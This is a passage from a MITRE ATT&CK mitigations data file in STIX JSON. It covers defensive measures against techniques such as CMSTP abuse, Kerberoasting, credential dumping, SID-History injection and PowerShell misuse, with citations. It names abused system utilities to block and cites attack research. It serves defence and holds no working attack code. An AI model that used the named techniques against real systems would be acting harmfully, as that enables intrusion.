                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
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            "modified": "2025-04-18T18:00:03.386Z",
            "name": "Distributed Component Object Model Mitigation",
            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)",
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                    "url": "https://attack.mitre.org/mitigations/T1191",
                    "external_id": "T1191"
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                {
                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
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            "modified": "2025-04-18T18:00:03.586Z",
            "name": "CMSTP Mitigation",
            "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
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                    "source_name": "TCG Trusted Platform Module",
                    "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.",
                    "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf"
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                    "source_name": "TechNet Secure Boot Process",
                    "description": "Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.",
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            "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)",
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                    "source_name": "Microsoft DLL Preloading",
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                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "MITRE SE Guide 2014",
                    "description": "The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.",
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                    "source_name": "NIST Supply Chain 2012",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
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                    "source_name": "NSA MS AppLocker",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
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            "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
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                    "source_name": "Graeber 2014",
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                    "source_name": "Microsoft Configure LSA",
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                    "url": "https://attack.mitre.org/mitigations/T1065",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/mitigations/T1023",
                    "external_id": "T1023"
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                {
                    "source_name": "UCF STIG Symbolic Links",
                    "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.",
                    "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Microsoft W32Time May 2017",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
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            "name": "Time Providers Mitigation",
            "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)",
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                    "url": "https://attack.mitre.org/mitigations/T1208",
                    "external_id": "T1208"
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                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
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            "name": "Kerberoasting Mitigation",
            "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)",
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                    "url": "https://attack.mitre.org/mitigations/T1024",
                    "external_id": "T1024"
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Custom Cryptographic Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "name": "Antivirus/Antimalware",
            "description": "Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats. This mitigation can be implemented through the following measures:\n\nSignature-Based Detection:\n\n- Implementation: Use predefined signatures to identify known malware based on unique patterns such as file hashes, byte sequences, or command-line arguments. This method is effective against known threats.\n- Use Case: When malware like \"Emotet\" is detected, its signature (such as a specific file hash) matches a known database of malicious software, triggering an alert and allowing immediate quarantine of the infected file.\n\nHeuristic-Based Detection:\n\n- Implementation: Deploy heuristic algorithms that analyze behavior and characteristics of files and processes to identify potential malware, even if it doesn\u2019t match a known signature.\n- Use Case: If a program attempts to modify multiple critical system files or initiate suspicious network communications, heuristic analysis may flag it as potentially malicious, even if no specific malware signature is available.\n\nBehavioral Detection (Behavior Prevention):\n\n- Implementation: Use behavioral analysis to detect patterns of abnormal activities, such as unusual system calls, unauthorized file encryption, or attempts to escalate privileges.\n- Use Case: Behavioral analysis can detect ransomware attacks early by identifying behavior like mass file encryption, even before a specific ransomware signature has been identified.\n\nReal-Time Scanning:\n\n- Implementation: Enable real-time scanning to automatically inspect files and network traffic for signs of malware as they are accessed, downloaded, or executed.\n- Use Case: When a user downloads an email attachment, the antivirus solution scans the file in real-time, checking it against both signatures and heuristics to detect any malicious content before it can be opened.\n\nCloud-Assisted Threat Intelligence:\n\n- Implementation: Use cloud-based threat intelligence to ensure the antivirus solution can access the latest malware definitions and real-time threat feeds from a global database of emerging threats.\n- Use Case: Cloud-assisted antivirus solutions quickly identify newly discovered malware by cross-referencing against global threat databases, providing real-time protection against zero-day attacks.\n\n**Tools for Implementation**:\n\n- Endpoint Security Platforms: Use solutions such as EDR for comprehensive antivirus/antimalware protection across all systems.\n- Centralized Management: Implement centralized antivirus management consoles that provide visibility into threat activity, enable policy enforcement, and automate updates.\n- Behavioral Analysis Tools: Leverage solutions with advanced behavioral analysis capabilities to detect malicious activity patterns that don\u2019t rely on known signatures.",
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                    "external_id": "T1032"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Standard Cryptographic Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
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            "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.",
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                    "source_name": "Microsoft GPO Bluetooth FEB 2009",
                    "description": "Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.",
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                    "description": "Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.",
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            "name": "Exfiltration Over Other Network Medium Mitigation",
            "description": "Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "modified": "2025-04-18T18:00:08.494Z",
            "name": "Graphical User Interface Mitigation",
            "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1096",
                    "external_id": "T1096"
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                {
                    "source_name": "Microsoft ADS Mar 2014",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
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                {
                    "source_name": "Symantec ADS May 2009",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
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                    "source_name": "Beechey 2010",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "InsiderThreat NTFS EA Oct 2017",
                    "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.",
                    "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks"
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            "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Microsoft Securing Privileged Access",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
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                    "source_name": "Microsoft LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "TechNet Credential Guard",
                    "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.",
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                {
                    "source_name": "GitHub SHB Credential Guard",
                    "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard"
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                {
                    "source_name": "AdSecurity DCSync Sept 2015",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
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                {
                    "source_name": "Microsoft Replication ACL",
                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"
                },
                {
                    "source_name": "Microsoft Disable NTLM Nov 2012",
                    "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.",
                    "url": "https://technet.microsoft.com/library/jj865668.aspx"
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            "name": "Credential Dumping Mitigation",
            "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.",
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            "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.",
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            "description": "Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.",
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                    "source_name": "Technospot Chrome Extensions GP",
                    "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only  authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "name": "Communication Through Removable Media Mitigation",
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                    "source_name": "Microsoft Trust Considerations Nov 2014",
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                    "source_name": "Microsoft SID Filtering Quarantining Jan 2009",
                    "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.",
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                    "source_name": "Microsoft Netdom Trust Sept 2012",
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                    "source_name": "AdSecurity Kerberos GT Aug 2015",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
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            "name": "SID-History Injection Mitigation",
            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Data Transfer Size Limits Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
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                    "source_name": "Beechey 2010",
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            "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "Microsoft Create Token",
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                    "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Remote File Copy Mitigation",
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            "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.",
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                    "source_name": "Netspi PowerShell Execution Policy Bypass",
                    "description": "Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved July 23, 2015.",
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            "name": "PowerShell Mitigation",
            "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1001",
                    "external_id": "T1001"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-18T18:00:15.675Z",
            "name": "Data Obfuscation Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "id": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1046",
                    "external_id": "T1046"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
